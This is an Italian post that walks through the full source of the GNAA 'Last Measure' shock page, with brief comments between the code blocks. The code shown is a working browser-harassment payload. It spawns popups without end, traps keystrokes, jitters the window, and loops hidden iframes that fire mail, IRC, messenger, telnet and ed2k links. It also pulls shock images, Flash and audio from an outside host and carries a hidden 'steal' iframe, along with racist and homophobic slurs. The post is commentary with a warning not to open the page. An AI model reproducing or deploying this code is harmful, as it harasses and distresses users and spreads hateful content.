Niente di che, è solo un accrocchio di javascript e java "mischiati" tra di loro per aprire tantissime finestre ed autospedirsi delle e-mail (o almeno tentare).
Sconsiglio l'apertura, a meno di non aver disabilitato preventivamente javascript & java.
Attenzione che con browser inerentemente multithread (es. Iron e Google Chrome) può essere molto difficile fermarlo (su macchine multiprocessore).
Normalmente basta (nei casi peggiori) un logout
Per la cronaca è tutto qui
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>GNAA Last Measure Live!</title>
<meta name="keywords" content="bsd digg gay gnaa (...) <script type="text/javascript">
Su certi browser intercetta la pressione di alt-f4 (per la chiusura del browser)
function altf4key() { if (event.keyCode == 18 || event.keyCode == 115) alert("Our lawyer has informed us that we need a warning. So, if you are under the age of 18 or find this offensive, please leave immediately"); }
prende pure il control...
function ctrlkey() { if (event.keyCode == 17) alert("Our lawyer has informed us that we need a warning. So, if you are under the age of 18 or find this offensive, please leave immediately"); }
questo tipicamente è per le macchine linux
function delkey() { if (event.keyCode == 46) alert("LAST MEASURE BY PENISBIRD, Rolloffle, and Rucas.\nStarring:\nSpin\nTubgirl\nLemonparty\nBob Goatse\nPenisbird\nPillowfight\nChristmas\nRusty's Wife\nWhat the fuck? That guy's ass is showing in his baby's picture!\n\n\nTotal, complete, all-versions, popup blocker bashing-to-pieces by goat-see\nnhey.swf by rkz\nPROPS TO GNAA. LOL HY -- DiKKy (GNAA NORWAY CORRESPONDANT)\nUpdated by sam, Jmax, JacksonBrown, Dessimat0r, timecop, and others.\n"); }
apre un po' di robina... notare il controllo per alcuni tipi specifici di browser
var nom = navigator.appName.toLowerCase();
var agt = navigator.userAgent.toLowerCase();
var is_major = parseInt(navigator.appVersion);
var is_minor = parseFloat(navigator.appVersion);
var is_ie = (agt.indexOf("msie") != -1);
var is_ie4up = (is_ie && (is_major >= 4));
var is_nav = (nom.indexOf('netscape')!=-1);
var is_nav4 = (is_nav && (is_major == 4));
var is_mac = (agt.indexOf("mac")!=-1);
var is_gecko = (agt.indexOf('gecko') != -1);
// GECKO REVISION
var is_rev = 0
if (is_gecko) {
temp = agt.split("rv:")
is_rev = parseFloat(temp[1])
}
function procreate() {
for(i = 0; i < 16; i++) {
popUp("index.php?popup=1");
}
}
function popUp(URL) {
day = new Date();
id = day.getTime();
eval("page" + id + " = window.open(URL, '_blank', 'toolbar=0,scrollbars=0,location=1,statusbar=0,menubar=0,resizable=0,width=640,height=583');");
}
si scarica il plugin flash... per prendersi un'animazione che NON è proprio un'animazione flash
goatseflash = '<div id="hello" style="z-index: 50; position: fixed; top: 0px; left: 0px; width: 100%; height: 100%;">';
goatseflash += ' <object classid="clsid
27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" width="100%" height="100%">';
goatseflash += ' <param name="movie" value="http://static.nimp.org/flash/hello.swf" />'
goatseflash += ' <param name="wmode" value="transparent" />';
goatseflash += ' </object>'
goatseflash += '</div>';
function load_goatse() {
document.body.innerHTML += goatseflash;
setTimeout("unload_goatse()", 3000); // 3s
}
function unload_goatse() {
document.getElementById("hello").style.display = 'none';
}
un po' di stringhe, notare autoinvio di mail,collegamenti IRC, skype etc, perfino emule AHHAHAHA
var protos = [
"http://static.nimp.org/lm.pdf",
"http://static.nimp.org/jews.wmv",
"irc://irc.gnaa.us/gnaa",
"irc://irc.efnet.org/politics",
"news:alt.flame.niggers",
"news:alt.flame.faggots",
"mailto:JOIN@THE.GNAA?subject=2006_RECRUITMENT_DRIVE&body=www.gnaa.us",
"callto://JOIN_THE_GNAA__2005_RECRUITMENT_DRIVE",
"aim:GoIM?screenname=Gary_Niger&message=HY+LOL+HY+LOL",
"rlogin://1.1.1.1:80",
"telnet://1.1.1.1:80",
"aim:addbuddy?listofscreennames=HY,LOL,HY,LOL,HY,LOL,join,the,gnaa,2006,RECRUITMENT,DRIVE,heartiez2incog&groupname=gnaa",
"mailto:JOIN@THE.GNAA?subject=2006_RECRUITMENT_DRIVE&body=www.gnaa.us",
"ed2k://|file|Gayniggers From Outer Space [GNAA Digitally Remastered].avi|134174720|F8AF9D8A7091CD7A7B8968C9EB397C02|/",
];
function add(str) {
div = document.getElementById('goatse');
div.innerHTML = '<iframe style="width: 1; height: 1;" src="' + str + '"></iframe>';
}
function ruin() {
document.body.innerHTML += '<div id="goatse">Y HALLO THAR!</div>';
while (1) {
for (i = 0; i < protos.length; i++) {
add(protos
);
}
}
}
</script>
<link rel="icon" type="image/x-icon" href="http://static.nimp.org/favicon.ico" />
<link rel="shortcut icon" type="image/x-icon" href="http://static.nimp.org/favicon.ico" />
<style type="text/css">
html {
height: 100%;
width: 100%;
overflow: hidden;
}
body {
height: 100%;
width: 100%;
margin: 0;
padding: 0;
}
</style>
</head>
crea un po' di mondezza... notare gli eventi che vengono redirezionati verso le procedure precedenti
(carini anche gli sfondi stile rotten)
<body style="background-image: url(http://static.nimp.org/images/pillowfight.jpg); background-color: #FFFFFF;"
onload="load_goatse();document.goatse.reset();movew0w();setTimeout('ruin()', 20);"
onmousemove="document.goatse.reset();movew0w();procreate();"
onkeydown="altf4key();ctrlkey();delkey();procreate();"
onunload="document.goatse.reset();movew0w();procreate();"
onmouseover="document.goatse.reset();movew0w();procreate();">
<script type="text/javascript">
<!--
var images = new Array();
var imagecount = 0;
var delay = 10;
var step = .2;
var curstep = 0;
window.resizeTo(800, 600);
var centerX = (self.screen.width - document.body.clientWidth) / 2;
var centerY = (self.screen.height - document.body.clientHeight - 120) / 2;
movew0w();
spostamento finestre
function movew0w() {
var j;
for (j = 0; j < 5; j++) {
curstep += step / 5;
var factorX = Math.sin(curstep * 6.1) * 0.9;
var factorY = Math.cos(curstep * 3.7) * 0.9;
factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70)
* (Math.sin(10+curstep/(10+j))+0.2)
* Math.cos((curstep + j*25)/10);
factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70)
* (Math.sin(10+curstep/10)+0.2)
* Math.cos((curstep + j*25)/10);
self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY));
}
document.body.background = images[(Math.floor(curstep) % imagecount) + 1];
setTimeout("movew0w()", delay);
}
// -->
</script>
<div>
<object id="x" classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A" height="1" width="1">
<param name="ActivateApplets" value="1" />
<param name="ActivateActiveXControls" value="1" />
</object>
</div>
<table>
<tr>
qui si prende un'altra animazione non proprio... flash...
<td valign="middle">
<div style="text-align: center;">
<a href="http://www.gnaa.us/"><img src="http://static.nimp.org/gnaa.png" alt="GNAA" /></a>
<br />
<br />
<object classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0">
<param name="movie" value="http://static.nimp.org/flash/first_opener.swf" />
<param name="quality" value="high" />
</object>
</div>
</td>
</tr>
</table>
<div>
e qui addirittura riproduce dei file audio
<!-- This object plays the "hey everybody, I'm watching gay porno!" sound -->
<object classid= "clsid27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" width="1" height="1" id="hey">
<param name="movie" value="http://static.nimp.org/flash/hey.swf" />
<param name="quality" value="high" />
</object>
<script type="text/javascript">
<!--
var audio = new Array();
var audiocount = 16;
audio[0] = 'http://static.nimp.org/audio/lolichan.wav';
audio[1] = 'http://static.nimp.org/audio/eska.wav';
audio[2] = 'http://static.nimp.org/audio/fury.wav';
audio[3] = 'http://static.nimp.org/audio/popeye.wav';
audio[4] = 'http://static.nimp.org/audio/kirk.wav';
audio[5] = 'http://static.nimp.org/audio/abez2.wav';
audio[6] = 'http://static.nimp.org/audio/original.wav';
audio[7] = 'http://static.nimp.org/audio/rkz.wav';
audio[8] = 'http://static.nimp.org/audio/blackman.wav';
audio[9] = 'http://static.nimp.org/audio/jesuitx1.wav';
audio[10] = 'http://static.nimp.org/audio/rucas.wav';
audio[11] = 'http://static.nimp.org/audio/jesuitx2.wav';
audio[12] = 'http://static.nimp.org/audio/jizzy.wav';
audio[13] = 'http://static.nimp.org/audio/sam.wav';
audio[14] = 'http://static.nimp.org/audio/abez.wav';
audio[15] = 'http://static.nimp.org/audio/trogg.wav';
for (i = 0; i < audiocount; i++) {
setTimeout('document.getElementById("audio").innerHTML += \'<embed src="' + audio + '" loop="true" />\';', 6000 * (i/2));
}
// -->
</script>
<div id="audio"></div>
<applet code="LastCoffee.class" width="100" height="100" codebase="/" />
</div>
<div>
<iframe style="width: 1px; height: 1px;" src="/index.php?steal=1&key=b6307ee5d8b8724f"></iframe>
<iframe style="width: 1px; height: 1px;" src="http://static.nimp.org/lm.pdf"></iframe>
<iframe style="width: 1px; height: 1px;" src="http://static.nimp.org/jews.wmv"></iframe>
<br />
bsd digg gay gnaa internet (...)
</div>
<form onreset="procreate();" onsubmit="procreate();" action="#" id="goatse" name="goatse">
<p><span style="background-color: #ffffff; border: thin solid; color: #000000;">GNAA Gay Niggers Timecop</span></p>
</form>
</body>
</html>